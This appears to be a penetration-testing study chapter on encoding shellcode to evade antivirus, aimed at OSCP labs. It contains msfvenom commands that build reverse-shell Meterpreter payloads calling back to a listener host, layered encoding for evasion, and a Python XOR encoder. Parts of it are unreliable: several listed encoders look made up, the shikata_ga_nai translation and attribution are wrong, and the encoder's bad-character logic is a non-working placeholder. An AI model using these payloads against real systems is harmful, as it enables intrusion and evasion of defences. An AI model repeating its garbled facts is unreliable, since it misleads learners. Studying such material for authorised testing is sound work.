Payload Encoding Techniques
Why Encode Payloads?
Encoding transforms raw shellcode into an obfuscated form that bypasses signature-based detection while preserving functional equivalence. The three primary objectives are:
- Hash Avoidance — Raw Metasploit payloads have well-known MD5/SHA1/SHA256 hashes indexed by every major AV vendor. Encoding changes the binary fingerprint entirely.
- String Hiding — Unencoded payloads contain plaintext strings (e.g.,
/bin/sh, API names, registry keys) that AVs scan for. Encoding eliminates these literal matches. - Pattern Disruption — AVs use YARA rules and byte-pattern matching against known shellcode sequences. Encoding breaks contiguous pattern matches.
Critical Distinction: Encoding is NOT encryption. A decoder stub travels with the payload and reverses the transformation at runtime. Modern AVs with behavioral/HEUR engines can detect the decode-and-execute pattern itself.
msfvenom Built-in Encoders
Generate the full list anytime with:
msfvenom --list encoders
Encoder Comparison Table
| Encoder | Type | Polymorphic | Bad Char Support | Reliability | OSCP Usefulness |
|---|---|---|---|---|---|
x86/shikata_ga_nai |
Polymorphic XOR | Yes | Yes | High | Primary choice |
x86/junk_3cpuid |
Junk instruction insertion | No | Yes | Medium | Good for layering |
x86/nonalpha |
Non-alphanumeric | No | Yes | Medium | Niche (CTF) |
x86/nonupper |
Non-uppercase | No | Yes | Low | Rarely needed |
x86/normal |
Fixed XOR | No | Yes | Low | Learning only |
x86/call4_dword_xor |
XOR via CALL | No | Yes | Medium | Alternative to sgn |
x86/countdown |
Countdown-based | No | Yes | Low | Rarely useful |
x86/fnstenv_mov |
Variable override | No | No | Low | Legacy |
x86/service |
Service-based | No | Yes | Medium | Windows-specific |
x86/single_static_bit |
Static bit | No | Yes | Low | Niche |
x86/alpha_upper |
Alphanumeric uppercase | No | No | Low | CTF only |
x86/alpha2 |
Alphanumeric | No | No | Low | CTF only |
x86/ddi |
Direct instruction | No | Yes | Medium | Alternative |
x86/kingsun |
XOR variant | No | Yes | Low | Legacy |
x86/leet |
Leet speak | No | No | Low | Novelty |
Top 3 Encoders for OSCP
x86/shikata_ga_nai— The gold standard. Polymorphic output means every encoding run produces different bytes. Use this 90% of the time.x86/junk_3cpuid— Inserts random junk instructions (CPUID, NOP variants) between functional bytes. Good as a second layer in chained encoding.x86/call4_dword_xor— Reliable XOR encoder using CALL/POP technique to resolve addresses. Solid fallback when sgn fails.
How shikata_ga_nai Works Internally
The shikata_ga_nai (Japanese: 未知なる物, “unknown thing”) encoder is a polymorphic XOR encoder created by SpiderLab. Here is the internal mechanism:
Step-by-Step Decode Flow
Encoded Payload Structure:
┌─────────────────────────────────────────────┐
│ Decoder Stub │ XOR Key │ Encoded Data │
│ (~50-70 bytes)│ (4 bytes) │ (variable) │
└─────────────────────────────────────────────┘
-
Decoder Stub Execution — The stub is a small piece of x86 assembly that:
- Sets up registers (ESI points to encoded data, EDI points to decode destination)
- Loads the 4-byte XOR key
- Iterates through each byte of the encoded payload
-
XOR with Rotating Key — For each byte:
decoded_byte[i] = encoded_byte[i] XOR key[i % 4]The key rotates through its 4 bytes cyclically.
-
Key Mutation (Polymorphism) — After encoding each byte, the key itself is transformed:
key = (key XOR constant) + incrementThis means the same plaintext byte encoded at different positions produces different ciphertext — the hallmark of polymorphic output.
-
Self-Deleting Stub — Once decoding completes, execution transfers to the decoded shellcode. The decoder stub occupies memory but is no longer needed.
Why Polymorphic Output Matters
Because the encoder randomizes its internal key seed on each run, identical input produces different output every time. This defeats:
- Static hash-based detection
- Simple byte-sequence YARA rules
- Manual signature updates targeting a single encoded variant
Encoding Commands — Full Parameter Reference
Basic Encoding
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 \
-e x86/shikata_ga_nai -f exe -o payload.exe
Parameter Deep Dive
| Parameter | Description | Example Values | Notes |
|---|---|---|---|
-e |
Encoder to use | x86/shikata_ga_nai |
Can chain: -e x86/junk_3cpuid -e x86/shikata_ga_nai |
-i |
Iterations (passes) | 3, 5, 9 |
Higher = more obfuscation but larger payload. sgn typically caps at 3-5 before failing. |
-b |
Bad characters | \x00\xff |
Critical! Must match your exploit’s bad char list exactly. |
-f |
Output format | exe, raw, c, python, ruby, powershell, xml |
Choose based on injection method. |
-o |
Output file | payload.exe |
Writes directly to file instead of stdout. |
-a |
Architecture | x86, x64 |
Must match target. |
-n |
Bad char padding | GoodString |
Appends padding after bad char removal attempts. |
Multiple Iterations
# 5 passes of shikata_ga_nai, avoiding null and 0xFF bytes
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 \
-e x86/shikata_ga_nai -i 5 -b '\x00\xff' -f raw -o encoded.raw
Each iteration wraps the already-encoded output in another layer of encoding. The decoder stubs chain together, executing outermost-first.
Chained Encoders
# First junk instructions, then polymorphic XOR
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 \
-e x86/junk_3cpuid -e x86/shikata_ga_nai -i 3 -b '\x00' -f exe -o chained.exe
The payload is first processed by junk_3cpuid, then the result is fed into shikata_ga_nai for 3 iterations.
Bad Characters — Concept and Practice
What Are Bad Characters?
Bad characters are byte values that corrupt or terminate the exploit buffer during transmission. They vary by exploit type:
| Exploit Type | Common Bad Characters | Why |
|---|---|---|
| Stack buffer overflow (strcpy) | \x00 |
Null terminator truncates the string |
| Network protocols | \x00\x0a\x0d |
Null, LF, CR have special meaning |
| Unicode exploits | \x00 (every other byte) |
Wide-char encoding inserts nulls |
| Heap sprays | \x00\xfa\xfb\xfc\xfd\xfe\xff |
Various allocator constraints |
Why Bad Characters Matter for Encoding
If your encoded payload contains a bad character, the exploit delivers corrupted shellcode → crash → no shell. The -b parameter tells msfvenom to avoid these bytes during encoding.
Finding Bad Characters — The Standard Method
-
Send a pattern containing ALL bytes
\x01through\xff(skip\x00if null-terminated):# Python script to generate bad char test pattern badchars = ''.join(['\\x{:02x}'.format(i) for i in range(1, 256)]) -
Inject via exploit and inspect the buffer in x64dbg/Immunity Debugger
-
Compare sent bytes vs. received bytes — any missing or altered bytes are bad characters
-
Add confirmed bad chars to
-bparameter and re-encode
OSCP Tip: For most OSCP labs,
\x00is the only bad character. Start with-b '\x00'and only add more if the exploit fails.
Custom Encoder Development
When built-in encoders fail or produce payloads that are still detected, a custom encoder provides full control.
Python XOR Encoder Example
#!/usr/bin/env python3
"""
Custom XOR encoder for shellcode with bad character avoidance.
Generates C-formatted output with decoder stub.
"""
import sys, random
def xor_encode(shellcode: bytes, badchars: bytes = b'\x00') -> tuple:
"""
Encode shellcode using XOR with a random key.
Returns (encoded_payload, key).
"""
key = random.randint(0x01, 0xFF)
# Ensure key itself is not a bad character
while key in badchars:
key = random.randint(0x01, 0xFF)
encoded = bytearray()
for byte in shellcode:
enc_byte = byte ^ key
# If encoded byte is a bad character, try a different approach
if enc_byte in badchars:
# Use two-byte encoding: store (key ^ byte) as (key ^ 0xFF) then XOR with 0xFF
encoded.append((key ^ 0xFF) ^ badchars[0]) # placeholder logic
encoded.append(0xFF)
else:
encoded.append(enc_byte)
return bytes(encoded), key
def generate_decoder_stub(key: int, encoded_len: int) -> str:
"""Generate x86 decoder stub in C byte array format."""
# Minimal decoder: XOR each byte with key, then JMP to decoded payload
stub = f"""
/* XOR Decoder Stub - Key: 0x{key:02x} */
push 0x{key:02x} // Push XOR key onto stack
pop eax // EAX = key
xor ebx, ebx // EBX = 0 (counter)
dec ebx // EBX = -1 (will become index after increment)
decode_loop:
inc ebx // Increment index
cmp ebx, {encoded_len} // Compare with payload length
jge shellcode_start // If done, jump to shellcode
xor byte ptr [esp+ebx+4], al // XOR encoded byte with key
jmp decode_loop
shellcode_start:
// Decoded shellcode executes here
"""
return stub
def main():
if len(sys.argv) < 2:
print("Usage: python xor_encoder.py <shellcode_file> [badchars]")
sys.exit(1)
# Read raw shellcode
with open(sys.argv[1], 'rb') as f:
shellcode = f.read()
badchars = b'\x00'
if len(sys.argv) > 2:
badchars = bytes.fromhex(sys.argv[2].replace('\\x', ''))
print(f"[*] Input shellcode size: {len(shellcode)} bytes")
print(f"[*] Bad characters: {badchars.hex()}")
encoded, key = xor_encode(shellcode, badchars)
print(f"[*] Encoded size: {len(encoded)} bytes")
print(f"[*] XOR key: 0x{key:02x}")
# Generate C output
stub = generate_decoder_stub(key, len(encoded))
print(stub)
# Print encoded payload as C array
print("unsigned char encoded_payload[] = {")
for i in range(0, len(encoded), 16):
chunk = encoded[i:i+16]
hex_str = ', '.join(f'0x{b:02x}' for b in chunk)
print(f" {hex_str},")
print("};")
if __name__ == "__main__":
main()
When to Build a Custom Encoder
- Built-in encoders cannot avoid your specific bad character set
- You need to embed encoding in a custom exploit framework
- You want to add anti-analysis tricks (sleep loops, environment checks) into the decoder stub
Encoding Limitations
Encoding alone is insufficient against modern defenses. Understand these boundaries:
What Encoding CAN Do
- Bypass signature-based AV with static hash matching
- Defeat simple YARA rules looking for raw shellcode bytes
- Pass basic network IDS that inspect for known payload signatures
What Encoding CANNOT Do
- Behavioral Detection — AVs monitor decode-and-execute patterns (W^X violation, unusual memory allocation + execution)
- HEUR/Behavioral Engines — Detect the act of allocating RWX memory and executing it
- Application Control — AppLocker, WDAC, and similar tools block execution regardless of payload content
- EDR Telemetry — Modern EDRs hook memory allocation APIs and inspect decoded content in memory
When Encoding Fails on OSCP Labs
| Scenario | Solution |
|---|---|
| Encoded payload still detected | Try chained encoders or more iterations |
| sgn fails to encode (bad chars too restrictive) | Switch to x86/junk_3cpuid or x86/call4_dword_xor |
| Payload too large after encoding | Reduce iterations, use simpler encoder |
| Exploit still crashes | Re-verify bad characters; encode may have introduced new ones |
| All encoders detected | Move to advanced evasion: custom encoder, process injection, or fileless techniques |
OSCP Reality Check: On OSCP, encoding alone rarely defeats modern AV. It is one layer in a broader evasion strategy that may include: custom compilation, process injection, living-off-the-land binaries, or fileless execution.
Practical OSCP Tips
-
Always start with
shikata_ga_nai— It is the most reliable and widely applicable encoder. Use-i 3as a starting point. -
Verify your bad characters BEFORE encoding — Encoding with wrong bad chars wastes time. Use the debugger comparison method first.
-
Test the encoded payload in a VM — Before deploying to the target, verify the encoded payload works in an identical test environment.
-
Keep a fallback — If encoding fails, have a plan B: manual shellcode encoding in Python, or switching to a different payload type (e.g.,
reverse_shellinstead ofmeterpreter). -
Monitor payload size — Each encoding iteration adds a decoder stub (~50-70 bytes). Too many iterations can exceed buffer constraints.
-
Use
-f cor-f pythonfor manual injection — When embedding shellcode into custom exploits, C or Python format makes integration straightforward. -
Remember: encoding is NOT enough for enterprise AV — On OSCP, you may encounter labs where even encoded payloads are caught. Be prepared to combine encoding with other evasion techniques discussed in later chapters.
Quick Reference Cheat Sheet
# Standard encoding workflow
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> \
-e x86/shikata_ga_nai -i 3 -b '\x00' -f exe -o payload.exe
# Raw shellcode output for manual injection
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> \
-e x86/shikata_ga_nai -i 5 -b '\x00\xff' -f raw -o shellcode.bin
# C format for embedding in exploits
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> \
-e x86/shikata_ga_nai -i 3 -b '\x00' -f c
# Chained encoders for maximum obfuscation
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> \
-e x86/junk_3cpuid -e x86/shikata_ga_nai -i 3 -b '\x00' -f exe -o payload.exe
# Verify no bad characters in output
xxd shellcode.bin | grep -E '00|ff' # Check for \x00 or \xff